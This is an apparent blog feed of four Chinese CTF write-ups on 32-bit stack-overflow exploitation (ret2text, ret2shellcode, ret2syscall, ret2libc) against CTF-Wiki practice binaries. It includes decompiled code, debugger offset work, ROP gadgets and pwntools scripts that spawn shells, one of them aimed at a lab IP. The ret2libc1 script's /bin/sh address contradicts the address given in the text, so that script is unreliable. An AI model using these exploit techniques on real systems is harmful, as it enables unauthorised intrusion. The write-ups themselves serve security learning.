BoyChai's Blog - 栈溢出 2024-06-11T08:50:00+00:00 Typecho https://blog.boychai.xyz/index.php/feed/atom/tag/%E6%A0%88%E6%BA%A2%E5%87%BA/ <![CDATA[[PWN]栈溢出-ret2libc1]]> https://blog.boychai.xyz/index.php/archives/75/ 2024-06-11T08:50:00+00:00 2024-06-11T08:50:00+00:00 BoyChai https://blog.boychai.xyz 题目来源

下载位置: https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1
PS:内容来自于CTF-WIKI

分析

文件类型

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ file ret2libc1     
ret2libc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb89c86b266de4ff294489da59959a62f7aa1e61, with debug_info, not stripped

这是一个采用动态连接库编译的32位ELF文件

软件防护

 checksec --file=ret2libc1    
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   84 Symbols        No    0               1               ret2libc1

允许栈溢出,NX防护开启,PIE防护关闭。

IDA分析

在main函数中内容如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(s);
  return 0;
}

在main中明显的gets函数,直接可以栈溢出,之后其他没有可用信息了。
在secure函数中内容如下

void secure()
{
  unsigned int v0; // eax
  int input; // [esp+18h] [ebp-10h] BYREF
  int secretcode; // [esp+1Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  secretcode = rand();
  __isoc99_scanf("%d", &input);
  if ( input == secretcode )
    system("shell!?");
}

有后门,但是system()函数传参不对不能直接拿这个地址直接用。
在IDA中查询找字符串/bin/sh在rodata中地址是0x08048720
在plt表中查询到system()函数的地址是0x08048460

.plt:08048460                               ; [00000006 BYTES: COLLAPSED FUNCTION _system]

攻击

攻击思路

采用system的plt地址来运行system()函数,通过程序内的字符串/bin/sh给函数进行传参。

栈溢出位数

使用pwndbg调试,内容如下

───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────
*EAX  0xffffcf3c ◂— 'hello'
 EBX  0xf7e23e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x223d2c /* ',="' */
*ECX  0xf7e258ac (_IO_stdfile_0_lock) ◂— 0
 EDX  0
 EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0
 ESI  0x8048690 (__libc_csu_init) ◂— push ebp
 EBP  0xffffcfa8 ◂— 0
 ESP  0xffffcf20 —▸ 0xffffcf3c ◂— 'hello'
*EIP  0x8048683 (main+107) ◂— mov eax, 0

这里溢出位数应该是0xa8-0x3c=108,溢出位数应该还要+4,+4才是真正返回地址的位置。

脚本

from pwn import *

# 利用地址
system_plt = 0x8048460
binsh = 0x8049720

io = process("./ret2libc1")

payload = flat([b"a" * 112, system_plt, b"b" * 4, binsh])

io.sendline(payload)

io.interactive()

在脚本中plt地址后门还要再多溢出4字节,因为函数拿参数的时候都是他的上上个位置,上一个位置也就是这后面填充的4字节,他一般都是返回地址的位置,因为这里只需要执行system()所以不需要考虑这个返回地址的内容,填充垃圾数据即可。

]]>
<![CDATA[[PWN]栈溢出-ROP-ret2syscall]]> https://blog.boychai.xyz/index.php/archives/74/ 2024-06-03T01:39:00+00:00 2024-06-03T01:39:00+00:00 BoyChai https://blog.boychai.xyz 题目来源

下载位置: https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop
PS:内容来自于CTF-WIKI

分析

文件类型

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ file rop    
rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped

32位ELF文件

软件防护

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ checksec --file=rop  
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   2255 Symbols      No    0               0               rop

栈溢出防护是关闭的,NX是开启的,那这道题基本上就是用ROP进行栈溢出了。

IDA分析

main函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

说这次没有system()shellcode该怎么办,但是这里有gets函数肯定存在栈溢出,然后分析了一下,确实是没有system(),shellcode也没办法执行,但是在地址0x080BE408发现了字符串"/bin/sh"

攻击

攻击思路

shellcode和后门函数都不存在,这里直接尝试rop。

ROPgadget查询

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ ROPgadget --binary ./rop --only "pop|ret"|grep eax    
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

eax_ret = 0x080bb196

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ ROPgadget --binary ./rop --only "pop|ret"|grep ebx
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

edx_ecx_ebx_ret = 0x0806eb90

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ ROPgadget --binary ./rop |grep "int"|grep "0x80"
...
0x080b9e08 : push es ; int 0x80
...

intx80 = 0x080b9e08

PWNDBG计算溢出长度

pwndbg调试信息如下

*EAX  0xffffcf7c ◂— 'hello'
 EBX  0x80481a8 (_init) ◂— push ebx
*ECX  0xfbad2288
*EDX  0x80eb4e0 (_IO_stdfile_0_lock) ◂— 0
 EDI  0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8067b10 (__stpcpy_sse2) ◂— mov edx, dword ptr [esp + 4]
 ESI  0
 EBP  0xffffcfe8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebx
 ESP  0xffffcf60 —▸ 0xffffcf7c ◂— 'hello'
*EIP  0x8048e9b (main+119) ◂— mov eax, 0

0xe8-0x7c=232-124=108+4=112

攻击脚本

from pwn import *

io = process("./rop")

sh = 0x080BE408
eax_ret = 0x080BB196
edx_ecx_ebx_ret = 0x0806EB90
intx80 = 0x080B9E08
payload = flat(
    [
        b"a" * 112,
        eax_ret,
        0xB,
        edx_ecx_ebx_ret,
        sh,
        0,
        0,
        intx80,
    ]
)

io.sendline(payload)

io.interactive()

上面四个地址分别是“/bin/sh”字符串地址、pop eax ret地址、pop ebx ecx edx ret地址、int 0x80地址,使用上面的payload可以达成下面执行效果

mov eax,0xb
mov ebx, ["/bin/sh"]
mov ecx, 0
mov edx, 0
int 0x80

payload中的0xb是系统调用的id他代表执行命令的一个函数。

]]>
<![CDATA[[PWN]栈溢出-ret2shellcode]]> https://blog.boychai.xyz/index.php/archives/73/ 2024-05-30T08:34:00+00:00 2024-05-30T08:34:00+00:00 BoyChai https://blog.boychai.xyz 题目来源

下载位置: https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode
PS:内容来自于CTF-WIKI

关于环境

高版本的linux内核似乎已经修复了这个问题,目前只能尝试在Ubuntu-18.04或之前的版本可以 内核版本目前我用的是5.4.0-84-generic成功复现了这个题目。

分析

文件类型

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ file ret2shellcode
ret2shellcode: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=47e6d638fe0f3a3ff4695edb8b6c7e83461df949, with debug_info, not stripped

保护措施

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ checksec --file=ret2shellcode
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE

NX是关闭的,这一题考点就和这个有关系。

IDA分析

main函数内容如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(s);
  strncpy(buf2, s, 0x64u);
  printf("bye bye ~");
  return 0;
}

main中有大问题,gets就不说了,攻击点就肯定是在这里,然后他往一个s[100]输入值了之后把s的值全部放到了buf2中,这个buf2在main中也没有定义,去看一下他的位置

.bss:0804A080                               public buf2
.bss:0804A080                               ; char buf2[100]
.bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+buf2 db 64h dup(?)                      ; DATA XREF: main+7B↑o
.bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+_bss ends
.bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+

他的地址是0x0804A080这里还是在bss段中的,这里的值是可以读写的。这里思路已经清晰了。

攻击思路

这里面没有发现什么后门,这里我们就需要自己制造出一个后门sh,通过把后门sh写入到buf2中,然后用栈溢出把返回地址修改成buf2就可以完成攻击。

PWNDBG调试

pwndbg> n
hello      
15    in ret2shellcode.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────────────
*EAX  0xffffd29c ◂— 'hello'
 EBX  0xf7e23e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x223d2c /* ',="' */
*ECX  0xf7e258ac (_IO_stdfile_0_lock) ◂— 0
 EDX  0
 EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0
 ESI  0x80485d0 (__libc_csu_init) ◂— push ebp
 EBP  0xffffd308 ◂— 0
 ESP  0xffffd280 —▸ 0xffffd29c ◂— 'hello'
*EIP  0x8048598 (main+107) ◂— mov dword ptr [esp + 8], 0x64

esp地址是0xffffd29c然后ebp地址是0xffffd308进行计算776-668=108,需要溢出的栈长度是108+4,然后再加上返回地址改成buf2那就是116。

脚本攻击

from pwn import *

# 远程连接
io = remote("172.20.10.4",16000)

# buf2地址
buf2 = 0x0804A080

# payload构建
# 这里payload的总长度是116
payload = asm(shellcraft.sh()).ljust(112,b"a") + p32(buf2)
io.sendline(payload)

# 进入交互模式
io.interactive()
]]>
<![CDATA[[PWN]栈溢出-ret2text]]> https://blog.boychai.xyz/index.php/archives/72/ 2024-05-28T12:10:00+00:00 2024-05-28T12:10:00+00:00 BoyChai https://blog.boychai.xyz 题目来源

下载位置: https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text
PS:内容来自于CTF-WIKI

分析

文件类型

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ file ret2text
ret2text: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4f13f004f23ea39d28ca91f2bb83110b4b73713f, with debug_info, not stripped

程序类型位32位ELF文件

防护措施

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ checksec --file=ret2text
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   83 Symbols        No    0               2               ret2text

防护措施好像就有个NX,NX是不允许在堆栈中执行shellcode

IDA分析

main函数内容如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets(s);
  printf("Maybe I will tell you next time !");
  return 0;
}

可以看到gets往s里面传值了,但是s的长度是100,这里就是一个简单的栈溢出。之后还找到了一个程序后门,代码内容如下

void secure()
{
  unsigned int v0; // eax
  int input; // [esp+18h] [ebp-10h] BYREF
  int secretcode; // [esp+1Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  secretcode = rand();
  __isoc99_scanf((int)&unk_8048760, (int)&input);
  if ( input == secretcode )
    system("/bin/sh");
}

关于system(/bin/sh)他就是留下的后门。。这里看一下他的详细信息

.text:0804863A ; 11:     system("/bin/sh");

他的地址是0804863A

攻击思路

使用栈溢出把程序结束时的返回地址改成后门的执行地址也就是0804863A,但是栈需要溢出多少位还不知道需要动态分析一下。

PWNDBG分析

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ gdb ret2text
pwndbg> b main
pwndbg> r
pwndbg> n
pwndbg> n
pwndbg> n
hello
25      in ret2text.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────
*EAX  0xffffcf1c ◂— 'hello'
 EBX  0xf7e23e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x223d2c /* ',="' */
*ECX  0xf7e258ac (_IO_stdfile_0_lock) ◂— 0
 EDX  0
 EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0
 ESI  0x80486d0 (__libc_csu_init) ◂— push ebp
 EBP  0xffffcf88 ◂— 0
 ESP  0xffffcf00 —▸ 0xffffcf1c ◂— 'hello'
*EIP  0x80486b3 (main+107) ◂— mov dword ptr [esp], 0x80487a4
─────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────────────────
  ......
─────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
......
───────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────── 
......
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

这里只写一些重要的操作和一些重要输出,输出中重点内容是

*EAX  0xffffcf1c ◂— 'hello'
 EBX  0xf7e23e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x223d2c /* ',="' */
*ECX  0xf7e258ac (_IO_stdfile_0_lock) ◂— 0
 EDX  0
 EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0
 ESI  0x80486d0 (__libc_csu_init) ◂— push ebp
 EBP  0xffffcf88 ◂— 0
 ESP  0xffffcf00 —▸ 0xffffcf1c ◂— 'hello'
*EIP  0x80486b3 (main+107) ◂— mov dword ptr [esp], 0x80487a4

EBP和ESP的地址间隔是0xffffcf88 - 0xffffcf1c= 4294954888 - 4294954780 = 108(这里可以直接用88h-1ch初学为了好理解就写全了),拿到间隔长度之后需要+4,因为要往返回地址中写内容,而返回地址的位置是再esp的上面所以需要+4。

============================
            返回地址
============================
            %esp
============================
            xxxxx
============================

PWNTools代码攻击

from pwn import *

io = process("./ret2text")

target = 0x804863a

payload = b"A" * (108 + 4) + p32(target)

io.sendline(payload)

io.interactive()

io.close()

效果展示

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ python test.py 
[+] Starting local process './ret2text': pid 35232
[*] Switching to interactive mode
There is something amazing here, do you know anything?
Maybe I will tell you next time !$ ls
core  ret2text    run  test.py
$ pwd
/home/kali/Desktop/pwn
$ exit
[*] Got EOF while reading in interactive
$ 
[*] Process './ret2text' stopped with exit code -11 (SIGSEGV) (pid 35232)
[*] Got EOF while sending in interactive
]]>